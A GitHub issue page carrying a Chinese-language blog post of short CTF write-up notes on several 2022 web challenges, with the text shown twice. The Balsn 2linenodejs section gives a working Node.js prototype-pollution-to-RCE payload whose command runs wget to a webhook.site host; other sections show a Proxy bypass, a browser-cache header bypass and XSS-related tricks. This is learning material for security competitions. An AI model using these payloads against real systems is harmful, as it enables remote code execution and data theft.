We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
前陣子有幾個 CTF 都很不錯,像是 SECCON 跟 HITCON,但可惜我前陣子剛好出國玩了,回來以後就懶得寫完整 writeup 了。原本其實連記下來都懶得記,可是一旦時間久了,要找相關的資料就會變得很難找,所以還是決定簡單記一下。
除此之外,順便記一下幾題我覺得以前應該要記下來,但不知道為什麼卻沒記下來的題目。
關鍵字:
程式碼十分簡單:
#!/usr/local/bin/node process.stdin.setEncoding('utf-8'); process.stdin.on('readable', () => { try{ console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n'); const json = process.stdin.read().match(/\?(.*?)\ /)?.[1], obj = JSON.parse(json); console.log(`JSON: ${json}, Object:`, require('./index')(obj, {})); }catch (e) { require('./usage') }finally{ process.exit(); } }); // index module.exports=(O,o) => ( Object.entries(O).forEach( ([K,V])=>Object.entries(V).forEach( ([k,v])=>(o[K]=o[K]||{},o[K][k]=v) ) ), o );
很明顯有個 prototype pollution 的洞,因此這題考的就是你在 node.js 有了 prototype pollution 以後,要怎麼弄到 RCE。
這邊還有一個關鍵是 catch 裡面的 require('./usage')
require('./usage')
最後一個關鍵是這篇論文:Silent Spring: Prototype Pollution Leads to Remote Code Execution in Node.js,裡面提到很多從原型污染打到 RCE 的案例,然後都有附上 gadget 或是一些提示。
不過論文裡的其中一個洞在這題用的版本已經被修掉了:https://github.com/nodejs/node/blob/v18.8.0/lib/internal/modules/cjs/loader.js#L484
const { 1: name, 2: expansion = '' } = RegExpPrototypeExec(EXPORTS_PATTERN, request) || kEmptyObject;
kEmptyObject 是 ObjectFreeze(ObjectCreate(null)),所以不會被污染了。
ObjectFreeze(ObjectCreate(null))
但總之在檔案裡面繼續找一找,就會發現另一個 trySelf 的 function 有同個問題,在這裏:https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454
trySelf
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
這邊預設值也用了 {},所以可以透過原型污染去干擾這些值。
{}
下面這一段程式碼,會去載入 ./pwn.js 而不是 ./usage.js:
./pwn.js
./usage.js
Object.prototype["data"] = { exports: { ".": "./pwn.js" }, name: './usage.js' } Object.prototype["path"] = './' require('./usage.js')
因此透過原型污染,可以達成 require 任意文件。接下來的任務就是去找出哪個內建文件有可以使用的 payload,隊友找到 /opt/yarn-v1.22.19/preinstall.js,最後長這樣:
/opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = { exports: { ".": "./preinstall.js" }, name: './usage' } Object.prototype["path"] = '/opt/yarn-v1.22.19' Object.prototype.shell = "node" Object.prototype["npm_config_global"] = 1 Object.prototype.env = { "NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site/a0beafdc-df63-4804-85a8-7945ad473bf5?q=2').toString());process.exit()//", "NODE_OPTIONS": "--require=/proc/self/environ" } require('./usage.js')
別人寫的 writeup:
這題最核心的部分可以看成是這樣:
var p = new Proxy({flag: window.flag || 'flag'}, { get: () => 'nope' })
試問要怎麼拿到被 proxy 擋住的 flag?
答案是 Object.getOwnPropertyDescriptor。
Object.getOwnPropertyDescriptor
Object.getOwnPropertyDescriptor(p, 'flag'),這樣就可以拿到原始的值,而不是 proxy 處理後的東西。
Object.getOwnPropertyDescriptor(p, 'flag')
作者 writeup: https://brycec.me/posts/corctf_2022_challenges#sbxcalc
Chrome 裡面有一種 cache 叫做 back/forward cache,簡稱 bfcache,這詞我還是第一次聽到:https://web.dev/i18n/en/bfcache/
第二個 disk cache 應該大家都比較熟悉了,fetched resourced 會存在裡面。
利用這個 bfcache,可以做出很有趣的行為。
現在有一個 API 是這樣:
fastify.get("/api/notes/:noteId", async (request, reply) => { const user = new User(request.session.userId); if (request.headers["x-token"] !== hash(user.id)) { throw new Error("Invalid token"); } const noteId = validate(request.params.noteId); return user.sendNote(reply, noteId); });
雖然是個 GET,但是會檢查 custom header,因此照理來說直接用瀏覽器訪問是看不了的。
但是搭配剛剛講到的 cache 行為,你可以:
/api/notes/id
就可以用瀏覽器直接瀏覽 cached response,繞過了 custom header 的限制。
整題更詳細的 writeup 可以看這邊:https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote
先貼一下 maple 跟 splitline 的 writeup:
這次只有稍微看了一下 Self Destruct Message 那一題,簡單講一下幾個考點。
第一個是執行 element.innerHTML = str 的時候,通常 HTML 裡面有什麼東西都會是非同步執行,例如說:
element.innerHTML = str
element.innerHTML = '<img src=x onerror=console.log(1)>' console.log(2)
絕對是先 log 2 再來才是 1。
但如果你這樣子寫:
const div = document.createElement('div') div.innerHTML = '<svg><svg onload=console.log(1)>' console.log(2)
就會很神奇的變成 1 在前面,而且這個 div 甚至不需要放到 DOM 裡面也會有作用。相關的討論可以看這一串:https://twitter.com/terjanq/status/1421093136022048775
再來就是可以利用 error stack 去找出原本的 location,拿到 flag id:
window.addEventListener('unhandledrejection', e => { console.log(e.reason.stack.match(/\/message\/(\w+)/)[1]); });
然後這題也有別的解法,雖然說元素是放在 shadow DOM 裡面,但是可以透過一些 xsleak 去偷出 flag,更完整的研究在這邊:The Closed Shadow DOM
類似題目有出現在 DiceCTF 2022,我有寫過一篇心得但是那時候還沒開始標關鍵字:https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/
The text was updated successfully, but these errors were encountered:
No branches or pull requests
前陣子有幾個 CTF 都很不錯,像是 SECCON 跟 HITCON,但可惜我前陣子剛好出國玩了,回來以後就懶得寫完整 writeup 了。原本其實連記下來都懶得記,可是一旦時間久了,要找相關的資料就會變得很難找,所以還是決定簡單記一下。
除此之外,順便記一下幾題我覺得以前應該要記下來,但不知道為什麼卻沒記下來的題目。
關鍵字:
Balsn CTF 2022 - 2linenodejs
程式碼十分簡單:
很明顯有個 prototype pollution 的洞,因此這題考的就是你在 node.js 有了 prototype pollution 以後,要怎麼弄到 RCE。
這邊還有一個關鍵是 catch 裡面的
require('./usage')
最後一個關鍵是這篇論文:Silent Spring: Prototype Pollution Leads to Remote Code Execution in Node.js,裡面提到很多從原型污染打到 RCE 的案例,然後都有附上 gadget 或是一些提示。
不過論文裡的其中一個洞在這題用的版本已經被修掉了:https://github.com/nodejs/node/blob/v18.8.0/lib/internal/modules/cjs/loader.js#L484
kEmptyObject 是
ObjectFreeze(ObjectCreate(null))
,所以不會被污染了。但總之在檔案裡面繼續找一找,就會發現另一個
trySelf
的 function 有同個問題,在這裏:https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454這邊預設值也用了
{}
,所以可以透過原型污染去干擾這些值。下面這一段程式碼,會去載入
./pwn.js
而不是./usage.js
:因此透過原型污染,可以達成 require 任意文件。接下來的任務就是去找出哪個內建文件有可以使用的 payload,隊友找到
/opt/yarn-v1.22.19/preinstall.js
,最後長這樣:別人寫的 writeup:
corCTF 2022 - sbxcalc
這題最核心的部分可以看成是這樣:
試問要怎麼拿到被 proxy 擋住的 flag?
答案是
Object.getOwnPropertyDescriptor
。Object.getOwnPropertyDescriptor(p, 'flag')
,這樣就可以拿到原始的值,而不是 proxy 處理後的東西。作者 writeup: https://brycec.me/posts/corctf_2022_challenges#sbxcalc
SECCON CTF 2022 Quals - spanote
Chrome 裡面有一種 cache 叫做 back/forward cache,簡稱 bfcache,這詞我還是第一次聽到:https://web.dev/i18n/en/bfcache/
第二個 disk cache 應該大家都比較熟悉了,fetched resourced 會存在裡面。
利用這個 bfcache,可以做出很有趣的行為。
現在有一個 API 是這樣:
雖然是個 GET,但是會檢查 custom header,因此照理來說直接用瀏覽器訪問是看不了的。
但是搭配剛剛講到的 cache 行為,你可以:
/api/notes/id
,出現錯誤畫面/api/notes/id
,瀏覽器會把結果存在 disk cache 內就可以用瀏覽器直接瀏覽 cached response,繞過了 custom header 的限制。
整題更詳細的 writeup 可以看這邊:https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote
HITCON CTF 2022
先貼一下 maple 跟 splitline 的 writeup:
這次只有稍微看了一下 Self Destruct Message 那一題,簡單講一下幾個考點。
第一個是執行
element.innerHTML = str
的時候,通常 HTML 裡面有什麼東西都會是非同步執行,例如說:絕對是先 log 2 再來才是 1。
但如果你這樣子寫:
就會很神奇的變成 1 在前面,而且這個 div 甚至不需要放到 DOM 裡面也會有作用。相關的討論可以看這一串:https://twitter.com/terjanq/status/1421093136022048775
再來就是可以利用 error stack 去找出原本的 location,拿到 flag id:
然後這題也有別的解法,雖然說元素是放在 shadow DOM 裡面,但是可以透過一些 xsleak 去偷出 flag,更完整的研究在這邊:The Closed Shadow DOM
類似題目有出現在 DiceCTF 2022,我有寫過一篇心得但是那時候還沒開始標關鍵字:https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/
The text was updated successfully, but these errors were encountered: